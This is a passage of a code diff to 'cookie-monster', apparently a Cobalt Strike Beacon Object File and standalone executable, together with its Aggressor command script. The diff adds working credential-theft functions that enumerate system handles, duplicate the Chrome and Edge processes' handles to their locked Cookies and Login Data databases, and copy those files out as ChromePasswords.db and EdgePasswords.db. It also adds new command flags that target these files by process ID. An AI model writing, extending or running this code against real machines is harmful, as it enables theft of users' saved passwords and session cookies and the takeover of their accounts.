BeaconPrintf(CALLBACK_ERROR,"NO HANDLE TO COOKIE WAS FOUND \n");
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
// nanodump fileless download
|
||||
@@ -735,12 +628,13 @@ BOOL download_file( IN LPCSTR fileName, IN char fileData[], IN ULONG32 fileLengt
|
||||
VOID go(char *buf, int len) {
|
||||
//parse command line arguements
|
||||
datap parser;
|
||||
|
||||
int chrome = 1;
|
||||
int edge = 1;
|
||||
int firefox = 1;
|
||||
int chromePID = 1;
|
||||
int edgePID = 1;
|
||||
int chromeCookiesPID = 1;
|
||||
int chromeLoginDataPID = 1;
|
||||
int edgeCookiesPID = 1;
|
||||
int edgeLoginDataPID = 1;
|
||||
int pid = 1;
|
||||
|
||||
BeaconDataParse(&parser, buf, len);
|
||||
@@ -748,8 +642,10 @@ VOID go(char *buf, int len) {
|
||||
chrome = BeaconDataInt(&parser);
|
||||
edge = BeaconDataInt(&parser);
|
||||
firefox = BeaconDataInt(&parser);
|
||||
chromePID = BeaconDataInt(&parser);
|
||||
edgePID = BeaconDataInt(&parser);
|
||||
chromeCookiesPID = BeaconDataInt(&parser);
|
||||
chromeLoginDataPID = BeaconDataInt(&parser);
|
||||
edgeCookiesPID = BeaconDataInt(&parser);
|
||||
edgeLoginDataPID = BeaconDataInt(&parser);
|
||||
pid = BeaconDataInt(&parser);
|
||||
|
||||
if (chrome == 0 ){
|
||||
@@ -769,24 +665,36 @@ VOID go(char *buf, int len) {
|
||||
GetFirefoxInfo();
|
||||
return;
|
||||
}
|
||||
else if (chromePID == 0){
|
||||
BeaconPrintf(CALLBACK_OUTPUT, "CHROMEPID SELECTED");
|
||||
else if (chromeCookiesPID == 0){
|
||||
BeaconPrintf(CALLBACK_OUTPUT, "CHROME Cookies SELECTED");
|
||||
BeaconPrintf(CALLBACK_OUTPUT, "PID: %d", pid);
|
||||
GetChromeKey();
|
||||
//GetEdgePID();
|
||||
GetChromeDatabase(pid);
|
||||
GetBrowserFile(pid, "Cookies", "ChromeCookie.db");
|
||||
return;
|
||||
}
|
||||
else if (edgePID == 0){
|
||||
BeaconPrintf(CALLBACK_OUTPUT, "EDGEPID SELECTED");
|
||||
else if (chromeLoginDataPID == 0){
|
||||
BeaconPrintf(CALLBACK_OUTPUT, "CHROME Login Data SELECTED");
|
||||
BeaconPrintf(CALLBACK_OUTPUT, "PID: %d", pid);
|
||||
GetChromeKey();
|
||||
GetBrowserFile(pid, "Login Data", "ChromePasswords.db");
|
||||
return;
|
||||
}
|
||||
else if (edgeCookiesPID == 0){
|
||||
BeaconPrintf(CALLBACK_OUTPUT, "EDGE Cookies SELECTED");
|
||||
BeaconPrintf(CALLBACK_OUTPUT, "PID: %d", pid);
|
||||
GetEdgeKey();
|
||||
//GetEdgePID();
|
||||
GetEdgeDatabase(pid);
|
||||
GetBrowserFile(pid, "Cookies", "EdgeCookie.db");
|
||||
return;
|
||||
}
|
||||
else if (edgeLoginDataPID == 0){
|
||||
BeaconPrintf(CALLBACK_OUTPUT, "EDGE Login Data SELECTED");
|
||||
BeaconPrintf(CALLBACK_OUTPUT, "PID: %d", pid);
|
||||
GetEdgeKey();
|
||||
GetBrowserFile(pid, "Login Data", "EdgePasswords.db");
|
||||
return;
|
||||
}
|
||||
else{
|
||||
BeaconPrintf(CALLBACK_ERROR,"NOTHING SELECTED");
|
||||
return;
|
||||
}
|
||||
}
|
||||
}
|
||||
+271
-26
@@ -15,10 +15,13 @@ VOID GetChromeKey();
|
||||
VOID GetFirefoxInfo();
|
||||
VOID GetEdgeKey();
|
||||
CHAR *GetFirefoxFile(CHAR *file, CHAR* profile);
|
||||
VOID GetChromeDatabase(DWORD PID);
|
||||
BOOL GetChromeDatabase(DWORD PID);
|
||||
VOID GetChromePID();
|
||||
VOID GetEdgeDatabase(DWORD PID);
|
||||
BOOL GetEdgeDatabase(DWORD PID);
|
||||
VOID GetEdgePID();
|
||||
BOOL GetChromePasswords(DWORD PID);
|
||||
BOOL GetEdgePasswords(DWORD PID);
|
||||
|
||||
|
||||
CHAR *GetCookieFileContent(CHAR *path) {
|
||||
CHAR appdata[MAX_PATH];
|
||||
@@ -277,6 +280,8 @@ VOID GetChromePID() {
|
||||
HANDLE hSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
|
||||
PROCESSENTRY32 pe32;
|
||||
INT processCount = 0;
|
||||
BOOL databaseStatus = FALSE;
|
||||
BOOL passwordStatus = FALSE;
|
||||
pe32.dwSize = sizeof(PROCESSENTRY32);
|
||||
//iterate through each handle to find chrome.exe
|
||||
if(Process32First(hSnap, &pe32)) {
|
||||
@@ -285,7 +290,16 @@ VOID GetChromePID() {
|
||||
{
|
||||
//chrome was found, get cookies database
|
||||
processCount++;
|
||||
GetChromeDatabase(pe32.th32ProcessID);
|
||||
if (databaseStatus == FALSE){
|
||||
if (GetChromeDatabase(pe32.th32ProcessID)){
|
||||
databaseStatus = TRUE;
|
||||
}
|
||||
}
|
||||
if (passwordStatus == FALSE){
|
||||
if (GetChromePasswords(pe32.th32ProcessID)){
|
||||
passwordStatus = TRUE;
|
||||
}
|
||||
}
|
||||
}
|
||||
} while(Process32Next(hSnap, &pe32));
|
||||
}
|
||||
@@ -300,7 +314,7 @@ VOID GetChromePID() {
|
||||
return;
|
||||
}
|
||||
//save data to file
|
||||
HANDLE hFile = CreateFile("GoogleCookie.db", GENERIC_ALL, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, CREATE_NEW, FILE_ATTRIBUTE_NORMAL, NULL);
|
||||
HANDLE hFile = CreateFile("ChromeCookie.db", GENERIC_ALL, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, CREATE_NEW, FILE_ATTRIBUTE_NORMAL, NULL);
|
||||
DWORD dwRead = 0;
|
||||
WriteFile(hFile, data, strlen(data), &dwRead, NULL);
|
||||
CloseHandle(hFile);
|
||||
@@ -309,10 +323,25 @@ VOID GetChromePID() {
|
||||
CHAR cwd[MAX_PATH];
|
||||
GetCurrentDirectory(MAX_PATH, cwd);
|
||||
printf("Chrome COOKIES saved to %s \n", cwd);
|
||||
|
||||
CHAR *passwordData = GetCookieFileContent("\\Google\\Chrome\\User Data\\Login Data");
|
||||
if(passwordData == NULL) {
|
||||
printf("Chrome LOGIN DATA not found on host\n");
|
||||
return;
|
||||
}
|
||||
//save data to file
|
||||
HANDLE hFile2 = CreateFile("ChromePasswords.db", GENERIC_ALL, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, CREATE_NEW, FILE_ATTRIBUTE_NORMAL, NULL);
|
||||
DWORD dwRead2 = 0;
|
||||
WriteFile(hFile2, passwordData, strlen(passwordData), &dwRead2, NULL);
|
||||
CloseHandle(hFile2);
|
||||
GlobalFree(passwordData);
|
||||
// print current directory to screen
|
||||
GetCurrentDirectory(MAX_PATH, cwd);
|
||||
printf("Chrome LOGIN DATA saved to %s \n", cwd);
|
||||
}
|
||||
}
|
||||
|
||||
VOID GetChromeDatabase(DWORD PID) {
|
||||
BOOL GetChromeDatabase(DWORD PID) {
|
||||
|
||||
printf("chrome PID found %d\n", PID);
|
||||
|
||||
@@ -339,14 +368,14 @@ VOID GetChromeDatabase(DWORD PID) {
|
||||
if(hProc == INVALID_HANDLE_VALUE) {
|
||||
printf("OpenProcess failed %d\n", GetLastError());
|
||||
GlobalFree(shi);
|
||||
return;
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
HANDLE hDuplicate = NULL;
|
||||
if(!DuplicateHandle(hProc, (HANDLE)shi->Handles[i].Handle, GetCurrentProcess(), &hDuplicate, 0, TRUE, DUPLICATE_SAME_ACCESS)) {
|
||||
printf("DuplicateHandle failed %d\n", GetLastError());
|
||||
GlobalFree(shi);
|
||||
return;
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
FARPROC GetFinalPathNameByHandle = GetProcAddress(LoadLibrary("kernel32.dll"), "GetFinalPathNameByHandleA");
|
||||
@@ -363,7 +392,7 @@ VOID GetChromeDatabase(DWORD PID) {
|
||||
if(strcmp(newFilename, "Application") == 0) {
|
||||
printf("SKIPPING PID %d\n", PID);
|
||||
GlobalFree(shi);
|
||||
return;
|
||||
return FALSE;
|
||||
}
|
||||
}
|
||||
|
||||
@@ -376,12 +405,12 @@ VOID GetChromeDatabase(DWORD PID) {
|
||||
CHAR *buffer = (CHAR*)GlobalAlloc(GPTR, dwFileSize);
|
||||
ReadFile(hDuplicate, buffer, dwFileSize, &dwRead, NULL);
|
||||
|
||||
HANDLE hFile = CreateFile("GoogleCookie.db", GENERIC_ALL, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, CREATE_NEW, FILE_ATTRIBUTE_NORMAL, NULL);
|
||||
HANDLE hFile = CreateFile("ChromeCookie.db", GENERIC_ALL, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, CREATE_NEW, FILE_ATTRIBUTE_NORMAL, NULL);
|
||||
WriteFile(hFile, buffer, dwFileSize, &dwRead, NULL);
|
||||
CloseHandle(hFile);
|
||||
|
||||
GlobalFree(buffer);
|
||||
ExitProcess(0);
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
CloseHandle(hDuplicate);
|
||||
@@ -390,14 +419,98 @@ VOID GetChromeDatabase(DWORD PID) {
|
||||
}
|
||||
}
|
||||
printf("NO HANDLE TO COOKIE WAS FOUND \n");
|
||||
return;
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
BOOL GetChromePasswords(DWORD PID) {
|
||||
|
||||
printf("chrome PID found %d\n", PID);
|
||||
|
||||
SYSTEM_HANDLE_INFORMATION *shi = NULL;
|
||||
DWORD dwNeeded = 0;
|
||||
DWORD dwSize = 0xffffff / 2;
|
||||
shi = (SYSTEM_HANDLE_INFORMATION *)GlobalAlloc(GPTR, dwSize);
|
||||
//utilize NtQueryStemInformation to list all handles on system
|
||||
NTSTATUS status = NtQuerySystemInformation(SystemHandleInformation, shi, dwSize, &dwNeeded);
|
||||
|
||||
printf("Handle Count %d\n", shi->NumberOfHandles);
|
||||
DWORD i = 0;
|
||||
BOOL firstHandle = TRUE;
|
||||
//iterate through each handle and find our PID and a handle to a file
|
||||
for(i = 0; i < shi->NumberOfHandles; i++) {
|
||||
//check if handle to file
|
||||
if(shi->Handles[i].ObjectTypeNumber == HANDLE_TYPE_FILE) {
|
||||
//check if handle is to our PID
|
||||
if(shi->Handles[i].ProcessId == PID) {
|
||||
|
||||
printf("PID %d Flags %08x GrantAccess %08x object %p handle is %p\n", PID, shi->Handles[i].Flags, shi->Handles[i].GrantedAccess, shi->Handles[i].Object, (HANDLE)shi->Handles[i].Handle);
|
||||
if(shi->Handles[i].GrantedAccess != 0x001a019f || (shi->Handles[i].Flags != 0x2 && shi->Handles[i].GrantedAccess == 0x0012019f)) {
|
||||
HANDLE hProc = OpenProcess(PROCESS_DUP_HANDLE, FALSE, PID);
|
||||
if(hProc == INVALID_HANDLE_VALUE) {
|
||||
printf("OpenProcess failed %d\n", GetLastError());
|
||||
GlobalFree(shi);
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
HANDLE hDuplicate = NULL;
|
||||
if(!DuplicateHandle(hProc, (HANDLE)shi->Handles[i].Handle, GetCurrentProcess(), &hDuplicate, 0, TRUE, DUPLICATE_SAME_ACCESS)) {
|
||||
printf("DuplicateHandle failed %d\n", GetLastError());
|
||||
GlobalFree(shi);
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
FARPROC GetFinalPathNameByHandle = GetProcAddress(LoadLibrary("kernel32.dll"), "GetFinalPathNameByHandleA");
|
||||
CHAR filename[256];
|
||||
ZeroMemory(filename, 256);
|
||||
GetFinalPathNameByHandle(hDuplicate, filename, 256, FILE_NAME_NORMALIZED);
|
||||
printf("%s\n", filename);
|
||||
|
||||
if(firstHandle) {
|
||||
DWORD dwFilenameSize = strlen(filename);
|
||||
CHAR *newFilename = filename + strlen(filename) - strlen("Application");
|
||||
firstHandle = FALSE;
|
||||
|
||||
if(strcmp(newFilename, "Application") == 0) {
|
||||
printf("SKIPPING PID %d\n", PID);
|
||||
GlobalFree(shi);
|
||||
return FALSE;
|
||||
}
|
||||
}
|
||||
|
||||
if(strstr(filename, "Login Data") != NULL) {
|
||||
printf("Login Data WAS FOUND\n");
|
||||
SetFilePointer(hDuplicate, 0, 0, FILE_BEGIN);
|
||||
DWORD dwFileSize = GetFileSize(hDuplicate, NULL);
|
||||
printf("file size is %d\n", dwFileSize);
|
||||
DWORD dwRead = 0;
|
||||
CHAR *buffer = (CHAR*)GlobalAlloc(GPTR, dwFileSize);
|
||||
ReadFile(hDuplicate, buffer, dwFileSize, &dwRead, NULL);
|
||||
|
||||
HANDLE hFile = CreateFile("ChromePasswords.db", GENERIC_ALL, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, CREATE_NEW, FILE_ATTRIBUTE_NORMAL, NULL);
|
||||
WriteFile(hFile, buffer, dwFileSize, &dwRead, NULL);
|
||||
CloseHandle(hFile);
|
||||
|
||||
GlobalFree(buffer);
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
CloseHandle(hDuplicate);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
printf("NO HANDLE TO LOGIN DATA WAS FOUND \n");
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
|
||||
VOID GetEdgePID() {
|
||||
//get handle to all processes
|
||||
HANDLE hSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
|
||||
PROCESSENTRY32 pe32;
|
||||
INT processCount = 0;
|
||||
BOOL databaseStatus = FALSE;
|
||||
BOOL passwordStatus = FALSE;
|
||||
pe32.dwSize = sizeof(PROCESSENTRY32);
|
||||
//iterate through each handle to find chrome.exe
|
||||
if(Process32First(hSnap, &pe32)) {
|
||||
@@ -406,7 +519,16 @@ VOID GetEdgePID() {
|
||||
{
|
||||
//edge was found, get cookies database
|
||||
processCount++;
|
||||
GetEdgeDatabase(pe32.th32ProcessID);
|
||||
if (databaseStatus == FALSE){
|
||||
if (GetEdgeDatabase(pe32.th32ProcessID)){
|
||||
databaseStatus = TRUE;
|
||||
}
|
||||
}
|
||||
if (passwordStatus == FALSE){
|
||||
if (GetEdgePasswords(pe32.th32ProcessID)){
|
||||
passwordStatus = TRUE;
|
||||
}
|
||||
}
|
||||
}
|
||||
} while(Process32Next(hSnap, &pe32));
|
||||
}
|
||||
@@ -430,10 +552,26 @@ VOID GetEdgePID() {
|
||||
CHAR cwd[MAX_PATH];
|
||||
GetCurrentDirectory(MAX_PATH, cwd);
|
||||
printf("Edge COOKIES saved to %s \n", cwd);
|
||||
|
||||
|
||||
CHAR *passwordData = GetCookieFileContent("\\Microsoft\\Edge\\User Data\\Default\\Login Data");
|
||||
if(passwordData == NULL) {
|
||||
printf("Edge LOGIN DATA not found on host\n");
|
||||
return;
|
||||
}
|
||||
//save data to file
|
||||
HANDLE hFile2 = CreateFile("EdgePasswords.db", GENERIC_ALL, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, CREATE_NEW, FILE_ATTRIBUTE_NORMAL, NULL);
|
||||
DWORD dwRead2 = 0;
|
||||
WriteFile(hFile2, passwordData, strlen(passwordData), &dwRead2, NULL);
|
||||
CloseHandle(hFile2);
|
||||
GlobalFree(passwordData);
|
||||
// print current directory to screen
|
||||
GetCurrentDirectory(MAX_PATH, cwd);
|
||||
printf("Edge LOGIN DATA saved to %s \n", cwd);
|
||||
}
|
||||
}
|
||||
|
||||
VOID GetEdgeDatabase(DWORD PID) {
|
||||
BOOL GetEdgeDatabase(DWORD PID) {
|
||||
|
||||
printf("Edge PID found %d\n", PID);
|
||||
|
||||
@@ -484,7 +622,7 @@ VOID GetEdgeDatabase(DWORD PID) {
|
||||
if(hProc == INVALID_HANDLE_VALUE) {
|
||||
printf("OpenProcess failed %d\n", GetLastError());
|
||||
GlobalFree(shi);
|
||||
return;
|
||||
return FALSE;
|
||||
}
|
||||
//get last error
|
||||
//DWORD dwError = NULL;
|
||||
@@ -495,12 +633,119 @@ VOID GetEdgeDatabase(DWORD PID) {
|
||||
if(!DuplicateHandle(hProc, (HANDLE)shi->Handles[i].Handle, GetCurrentProcess(), &hDuplicate, 0, TRUE, DUPLICATE_SAME_ACCESS)) {
|
||||
printf("DuplicateHandle failed %d\n", GetLastError());
|
||||
GlobalFree(shi);
|
||||
return;
|
||||
return FALSE;
|
||||
}
|
||||
//get last error
|
||||
DWORD dwError2 = NULL;
|
||||
dwError2 = GetLastError();
|
||||
printf("Last Error: %d\n", dwError2);
|
||||
//when file does not exist on disk, error 87 thrown
|
||||
if(dwError2 == 87) {
|
||||
SetLastError(0);
|
||||
printf("Wrong Function Call Somewhere \n");
|
||||
//GlobalFree(shi);
|
||||
continue;
|
||||
}
|
||||
|
||||
FARPROC GetFinalPathNameByHandle = GetProcAddress(LoadLibrary("kernel32.dll"), "GetFinalPathNameByHandleA");
|
||||
CHAR filename[256];
|
||||
ZeroMemory(filename, 256);
|
||||
GetFinalPathNameByHandle(hDuplicate, filename, 256, FILE_NAME_NORMALIZED);
|
||||
|
||||
printf("%s\n", filename);
|
||||
printf("Length of file name is %d\n", strlen(filename));
|
||||
|
||||
if(firstHandle) {
|
||||
DWORD dwFilenameSize = strlen(filename);
|
||||
CHAR *newFilename = filename + strlen(filename) - strlen("Application");
|
||||
firstHandle = FALSE;
|
||||
|
||||
if(strcmp(newFilename, "Application") == 0) {
|
||||
printf("SKIPPING PID %d\n", PID);
|
||||
GlobalFree(shi);
|
||||
return FALSE;
|
||||
}
|
||||
}
|
||||
|
||||
if(strstr(filename, "Cookies") != NULL) {
|
||||
printf("COOKIE WAS FOUND\n");
|
||||
SetFilePointer(hDuplicate, 0, 0, FILE_BEGIN);
|
||||
DWORD dwFileSize = GetFileSize(hDuplicate, NULL);
|
||||
printf("file size is %d\n", dwFileSize);
|
||||
DWORD dwRead = 0;
|
||||
CHAR *buffer = (CHAR*)GlobalAlloc(GPTR, dwFileSize);
|
||||
ReadFile(hDuplicate, buffer, dwFileSize, &dwRead, NULL);
|
||||
|
||||
HANDLE hFile = CreateFile("EdgeCookie.db", GENERIC_ALL, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, CREATE_NEW, FILE_ATTRIBUTE_NORMAL, NULL);
|
||||
WriteFile(hFile, buffer, dwFileSize, &dwRead, NULL);
|
||||
CloseHandle(hFile);
|
||||
|
||||
GlobalFree(buffer);
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
CloseHandle(hDuplicate);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
printf("NO HANDLE TO COOKIE WAS FOUND \n");
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
BOOL GetEdgePasswords(DWORD PID) {
|
||||
|
||||
printf("Edge PID found %d\n", PID);
|
||||
|
||||
//SYSTEM_HANDLE_INFORMATION *shi = NULL;
|
||||
DWORD dwNeeded = 0;
|
||||
NTSTATUS status;
|
||||
DWORD dwSize = 0xffffff / 2;
|
||||
//shi = (SYSTEM_HANDLE_INFORMATION *)GlobalAlloc(GPTR, dwSize);
|
||||
//utilize NtQueryStemInformation to list all handles on system
|
||||
PSYSTEM_HANDLE_INFORMATION shi;
|
||||
ULONG handleInfoSize = 0x10000;
|
||||
shi = (PSYSTEM_HANDLE_INFORMATION)malloc(handleInfoSize);
|
||||
|
||||
while ((status = NtQuerySystemInformation(
|
||||
SystemHandleInformation,
|
||||
shi,
|
||||
handleInfoSize,
|
||||
NULL
|
||||
)) == STATUS_INFO_LENGTH_MISMATCH)
|
||||
shi = (PSYSTEM_HANDLE_INFORMATION)realloc(shi, handleInfoSize *= 2);
|
||||
|
||||
//NTSTATUS status = NtQuerySystemInformation(SystemHandleInformation, shi, dwSize, &dwNeeded);
|
||||
|
||||
printf("Handle Count %d\n", shi->NumberOfHandles);
|
||||
DWORD i = 0;
|
||||
BOOL firstHandle = TRUE;
|
||||
//iterate through each handle and find our PID and a handle to a file
|
||||
for(i = 0; i < shi->NumberOfHandles; i++) {
|
||||
//check if handle to file
|
||||
if(shi->Handles[i].ObjectTypeNumber == HANDLE_TYPE_FILE) {
|
||||
//check if handle is to our PID
|
||||
if(shi->Handles[i].ProcessId == PID) {
|
||||
printf("PID %d Flags %08x GrantAccess %08x object %p handle is %p\n", PID, shi->Handles[i].Flags, shi->Handles[i].GrantedAccess, shi->Handles[i].Object, (HANDLE)shi->Handles[i].Handle);
|
||||
|
||||
if( (shi->Handles[i].GrantedAccess != 0x001a019f || (shi->Handles[i].Flags != 0x00000002 && shi->Handles[i].GrantedAccess == 0x0012019f))) {
|
||||
HANDLE hProc = OpenProcess(PROCESS_DUP_HANDLE, FALSE, PID);
|
||||
if(hProc == INVALID_HANDLE_VALUE) {
|
||||
printf("OpenProcess failed %d\n", GetLastError());
|
||||
GlobalFree(shi);
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
HANDLE hDuplicate = NULL;
|
||||
if(!DuplicateHandle(hProc, (HANDLE)shi->Handles[i].Handle, GetCurrentProcess(), &hDuplicate, 0, TRUE, DUPLICATE_SAME_ACCESS)) {
|
||||
printf("DuplicateHandle failed %d\n", GetLastError());
|
||||
GlobalFree(shi);
|
||||
return FALSE;
|
||||
}
|
||||
//when file does not exist on disk, error 87 thrown
|
||||
DWORD dwError2 = NULL;
|
||||
dwError2 = GetLastError();
|
||||
printf("Last Error: %d\n", dwError2);
|
||||
if(dwError2 == 87) {
|
||||
SetLastError(0);
|
||||
printf("Wrong Function Call Somewhere \n");
|
||||
@@ -525,12 +770,12 @@ VOID GetEdgeDatabase(DWORD PID) {
|
||||
if(strcmp(newFilename, "Application") == 0) {
|
||||
printf("SKIPPING PID %d\n", PID);
|
||||
GlobalFree(shi);
|
||||
return;
|
||||
return FALSE;
|
||||
}
|
||||
}
|
||||
|
||||
if(strstr(filename, "Cookies") != NULL) {
|
||||
printf("COOKIE WAS FOUND\n");
|
||||
if(strstr(filename, "Login Data") != NULL) {
|
||||
printf("LOGIN DATA WAS FOUND\n");
|
||||
SetFilePointer(hDuplicate, 0, 0, FILE_BEGIN);
|
||||
DWORD dwFileSize = GetFileSize(hDuplicate, NULL);
|
||||
printf("file size is %d\n", dwFileSize);
|
||||
@@ -538,12 +783,12 @@ VOID GetEdgeDatabase(DWORD PID) {
|
||||
CHAR *buffer = (CHAR*)GlobalAlloc(GPTR, dwFileSize);
|
||||
ReadFile(hDuplicate, buffer, dwFileSize, &dwRead, NULL);
|
||||
|
||||
HANDLE hFile = CreateFile("EdgeCookie.db", GENERIC_ALL, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, CREATE_NEW, FILE_ATTRIBUTE_NORMAL, NULL);
|
||||
HANDLE hFile = CreateFile("EdgePasswords.db", GENERIC_ALL, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, CREATE_NEW, FILE_ATTRIBUTE_NORMAL, NULL);
|
||||
WriteFile(hFile, buffer, dwFileSize, &dwRead, NULL);
|
||||
CloseHandle(hFile);
|
||||
|
||||
GlobalFree(buffer);
|
||||
ExitProcess(0);
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
CloseHandle(hDuplicate);
|
||||
@@ -551,8 +796,8 @@ VOID GetEdgeDatabase(DWORD PID) {
|
||||
}
|
||||
}
|
||||
}
|
||||
printf("NO HANDLE TO COOKIE WAS FOUND \n");
|
||||
return;
|
||||
printf("NO HANDLE TO LOGIN DATA WAS FOUND \n");
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
|
||||
@@ -564,10 +809,10 @@ int main(int argc, char* argv[]) {
|
||||
printf(" cookie-monster.exe --all \n");
|
||||
printf("Cookie Monster Options:\n");
|
||||
printf(" -h, --help\t\t\t Show this help message and exit\n");
|
||||
printf(" --all\t\t\t\t Run chrome, edge, and firefox methods\n");
|
||||
printf(" --edge\t\t\t Extract edge key and download cookies file to PWD\n");
|
||||
printf(" --chrome\t\t\t Extract chrome key and download cookies file to PWD\n");
|
||||
printf(" --firefox\t\t\t Locate firefox key and Cookies, does not make a copy of either file\n");
|
||||
printf(" --all\t\t\t\t Extract chrome, edge, and firefox keys\n");
|
||||
printf(" --edge\t\t\t Extract edge keys\n");
|
||||
printf(" --chrome\t\t\t Extract chrome keys\n");
|
||||
printf(" --firefox\t\t\t Extract firefox keys\n");
|
||||
return 0;
|
||||
}
|
||||
if(strcmp(argv[1], "--all") == 0){
|
||||
|
||||
+55
-17
@@ -9,19 +9,23 @@
|
||||
beacon_command_register(
|
||||
"cookie-monster",
|
||||
"Locate and copy the cookie file used for Edge/Chrome/Firefox",
|
||||
"Usage: cookie-monster [ --chrome || --edge || --firefox || --chromepid <pid> || --edgepid <pid> ] \
|
||||
"Usage: cookie-monster [--chrome || --edge || --firefox || --chromeCookiePID <pid> || --chromeLoginDataPID <PID> || --edgeCookiePID <pid> || --edgeLoginDataPID <pid> ] \
|
||||
cookie-monster Example: \
|
||||
cookie-monster --chrome \
|
||||
cookie-monster --edge \
|
||||
cookie-moster --firefox \
|
||||
cookie-monster --chromepid 1337 \
|
||||
cookie-monster --edgepid 4444 \
|
||||
cookie-monster --chromeCookiePID 1337 \
|
||||
cookie-monster --chromeLoginDataPID 1337 \
|
||||
cookie-monster --edgeCookiePID 4444 \
|
||||
cookie-monster --edgeLoginDataPID 4444 \
|
||||
cookie-monster Options: \
|
||||
--chrome, looks at all running processes and handles, if one matches chrome.exe it copies the handle to cookies and then copies the file to the CWD \
|
||||
--edge, looks at all running processes and handles, if one matches msedge.exe it copies the handle to cookies and then copies the file to the CWD \
|
||||
--firefox, looks for profiles.ini and locates the key4.db and logins.json file \
|
||||
--chromepid, if chrome PID is provided look for the specified process with a handle to cookies is known, specifiy the pid to duplicate its handle and cookie file \
|
||||
--edgepid, if edge PID is provided look for the specified process with a handle to cookies is known, specifiy the pid to duplicate its handle and cookie file \
|
||||
--chromeCookiePID, if chrome PID is provided look for the specified process with a handle to cookies is known, specifiy the pid to duplicate its handle and file \
|
||||
--chromeLoginDataPID, if chrome PID is provided look for the specified process with a handle to Login Data is known, specifiy the pid to duplicate its handle and file \
|
||||
--edgeCookiePID, if edge PID is provided look for the specified process with a handle to cookies is known, specifiy the pid to duplicate its handle and file \
|
||||
--edgeLoginDataPID, if edge PID is provided look for the specified process with a handle to Login Data is known, specifiy the pid to duplicate its handle and file \
|
||||
");
|
||||
|
||||
# $1 - beacon id
|
||||
@@ -45,8 +49,10 @@ alias cookie-monster {
|
||||
$chrome = 1;
|
||||
$edge = 1;
|
||||
$firefox = 1;
|
||||
$chromepid = 1;
|
||||
$edgepid = 1;
|
||||
$chromeCookiePID = 1;
|
||||
$chromeLoginDataPID = 1;
|
||||
$edgeCookiePID = 1;
|
||||
$edgeLoginDataPID = 1;
|
||||
$pid = 1;
|
||||
|
||||
for ($i = 1; $i < size(@_); $i++)
|
||||
@@ -63,17 +69,16 @@ alias cookie-monster {
|
||||
{
|
||||
$firefox = 0;
|
||||
}
|
||||
else if (@_[$i] eq "--chromepid")
|
||||
else if (@_[$i] eq "--chromeCookiePID")
|
||||
{
|
||||
$chromepid = 0;
|
||||
$chromeCookiePID = 0;
|
||||
# get PID
|
||||
$i++;
|
||||
if($i >= size(@_))
|
||||
{
|
||||
berror($1, "missing --chromepid PID value");
|
||||
berror($1, "missing --chromeCookiePID PID value");
|
||||
return;
|
||||
}
|
||||
# set the revert time
|
||||
$pid = @_[$i];
|
||||
if(!-isnumber $pid || $pid eq "1")
|
||||
{
|
||||
@@ -81,17 +86,50 @@ alias cookie-monster {
|
||||
return;
|
||||
}
|
||||
}
|
||||
else if (@_[$i] eq "--edgepid")
|
||||
else if (@_[$i] eq "--chromeLoginDataPID")
|
||||
{
|
||||
$edgepid = 0;
|
||||
$chromeLoginDataPID = 0;
|
||||
# get PID
|
||||
$i++;
|
||||
if($i >= size(@_))
|
||||
{
|
||||
berror($1, "missing --edgepid PID value");
|
||||
berror($1, "missing --chromeLoginDataPID PID value");
|
||||
return;
|
||||
}
|
||||
$pid = @_[$i];
|
||||
if(!-isnumber $pid || $pid eq "1")
|
||||
{
|
||||
berror($1, "Invalid PID: " . $pid);
|
||||
return;
|
||||
}
|
||||
}
|
||||
else if (@_[$i] eq "--edgeCookiePID")
|
||||
{
|
||||
$edgeCookiePID = 0;
|
||||
# get PID
|
||||
$i++;
|
||||
if($i >= size(@_))
|
||||
{
|
||||
berror($1, "missing --edgeCookiePID PID value");
|
||||
return;
|
||||
}
|
||||
$pid = @_[$i];
|
||||
if(!-isnumber $pid || $pid eq "1")
|
||||
{
|
||||
berror($1, "Invalid PID: " . $pid);
|
||||
return;
|
||||
}
|
||||
}
|
||||
else if (@_[$i] eq "--edgeLoginDataPID")
|
||||
{
|
||||
$edgeLoginDataPID = 0;
|
||||
# get PID
|
||||
$i++;
|
||||
if($i >= size(@_))
|
||||
{
|
||||
berror($1, "missing --edgeLoginDataPID PID value");
|
||||
return;
|
||||
}
|
||||
# set the revert time
|
||||
$pid = @_[$i];
|
||||
if(!-isnumber $pid || $pid eq "1")
|
||||
{
|
||||
@@ -105,12 +143,12 @@ alias cookie-monster {
|
||||
}
|
||||
}
|
||||
|
||||
if ( $chrome == 1 && $edge == 1 && $firefox == 1 && $chromepid == 1 && $edgepid == 1 && $pid == 1){
|
||||
if ( $chrome == 1 && $edge == 1 && $firefox == 1 && $chromeCookiePID == 1 && $chromeLoginDataPID == 1 && $edgeCookiePID == 1 && $edgeLoginDataPID == 1 && $pid == 1){
|
||||
berror($1, "NO OPTIONS SELECTED");
|
||||
return;
|
||||
}
|
||||
|
||||
$args = bof_pack($1, "iiiiii", $chrome, $edge, $firefox, $chromepid, $edgepid, $pid );
|
||||
